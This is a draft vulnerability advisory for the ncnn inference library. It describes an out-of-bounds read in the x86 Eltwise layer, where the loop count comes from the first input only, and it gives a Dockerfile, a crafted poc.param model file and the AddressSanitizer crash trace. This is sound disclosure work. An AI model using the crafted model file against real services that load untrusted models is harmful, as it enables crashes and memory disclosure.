All advisories
Draft

Out-Of-Bounds Read in Eltwise Shape Inference

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Out-Of-Bounds Read in Eltwise Shape Inference

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/eltwise_x86.cpp:69 in Eltwise_x86::forward
Sanitizer verdict: unknown-crash

Summary

An Eltwise layer in an attacker-supplied .param file can join two tensors of incompatible sizes. The x86 implementation derives its element count from the first input only and then streams the same count out of every other input, so a graph with a 100-element first input and a 2-element second input makes the AVX-512 loop read 64 bytes at a time past the smaller tensor. ncnnoptimize crashes while running shape inference; no weight file is even required (the PoC passes null as the .bin).

Detail

The untrusted fields are the two Input widths and the Eltwise operation type (0=0, PROD). Neither Eltwise::load_param nor Eltwise_x86::forward compares the shapes of bottom_blobs[0] and bottom_blobs[1]; size is computed once from blob 0 and reused as the trip count for both pointers:

// src/layer/x86/eltwise_x86.cpp:38
    const Mat& bottom_blob = bottom_blobs[0];
    int w = bottom_blob.w;
    int h = bottom_blob.h;
    int d = bottom_blob.d;
    int channels = bottom_blob.c;
    int elempack = bottom_blob.elempack;
    int size = w * h * d * elempack;

// src/layer/x86/eltwise_x86.cpp:66
            for (; i + 15 < size; i += 16)
            {
                __m512 _p = _mm512_loadu_ps(ptr);
                __m512 _p1 = _mm512_loadu_ps(ptr1);
                _p = _mm512_mul_ps(_p, _p1);
                _mm512_storeu_ps(outptr, _p);

                ptr += 16;
                ptr1 += 16;
                outptr += 16;
            }

ptr1 is bottom_blob1.channel(q) — a pointer into the second input — but the loop bound belongs to the first. With the PoC shapes (a of width 100, b of width 2) size is 100, so the vectorized body runs six times against a tensor that contains two floats.

The second input's allocation is 84 bytes: 16 bytes of 16-byte-aligned payload, the 4-byte refcount, and the 64-byte NCNN_MALLOC_OVERREAD tail. The first _mm512_loadu_ps(ptr1) stays inside that padding; the second, at ptr1 + 16 floats (offset 64), reads bytes 64..127 and crosses the end of the region at 84. ASan reports the 64-byte read and ncnnoptimize terminates inside ModelWriter::shape_inference().

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-out-of-bounds-read-in-eltwise-shape-inference && cd ncnn-poc-out-of-bounds-read-in-eltwise-shape-inference

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'POC_EOF'
7767517
3 4
Input in0 0 1 a 0=100
Input in1 0 1 b 0=2
Eltwise ew 2 1 a b out 0=0
POC_EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
=================================================================
==1==ERROR: AddressSanitizer: unknown-crash on address 0x50e000000080 at pc 0x5700bce27613 bp 0x7fff082f12b0 sp 0x7fff082f12a0
READ of size 64 at 0x50e000000080 thread T0
    #0 0x5700bce27612 in _mm512_loadu_ps(void const*) /usr/lib/gcc/x86_64-linux-gnu/13/include/avx512fintrin.h:6342
    #1 0x5700bce27612 in ncnn::Eltwise_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/build/src/layer/x86/eltwise_x86_avx512.cpp:69
    #2 0x5700ba3ae70b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:856
    #3 0x5700ba396b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #4 0x5700ba3f69e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #5 0x5700ba2883c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #6 0x5700ba305eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #7 0x72591b7881c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x72591b78828a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x5700ba285624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x50e000000094 is located 0 bytes after 84-byte region [0x50e000000040,0x50e000000094)
allocated by thread T0 here:
    #0 0x72591be01f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x5700ba354bc5 in fastMalloc /ncnn/src/allocator.h:62
    #2 0x5700ba354bc5 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:331
    #3 0x5700ba286c3b in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:388
    #4 0x5700ba305eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #5 0x72591b7881c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x72591b78828a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x5700ba285624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

SUMMARY: AddressSanitizer: unknown-crash /usr/lib/gcc/x86_64-linux-gnu/13/include/avx512fintrin.h:6342 in _mm512_loadu_ps(void const*)

Credit

Zheng Yu @ DepthFirst